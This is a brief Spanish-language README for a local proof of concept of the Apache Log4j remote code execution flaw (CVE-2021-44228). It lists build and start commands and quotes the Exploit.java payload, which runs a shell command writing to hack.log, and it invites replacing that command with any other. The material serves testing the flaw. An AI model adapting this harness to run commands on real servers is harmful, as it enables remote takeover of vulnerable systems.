
CVE-2021-44228 - Prueba rápida de Apache log4j RCE
./build.sh
./start-log4j-rce-server.sh
java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j
Comprueba si obtienes logs en hack.log desde el directorio actualString[] cmds = { "sh", "-c", "echo 'Exploit at '" + getDateString() + " >> ./hack.log" };apache-log4j-poc/src/main/java/Exploit.java
por lo que quieras y luego recompilar y ejecutar la prueba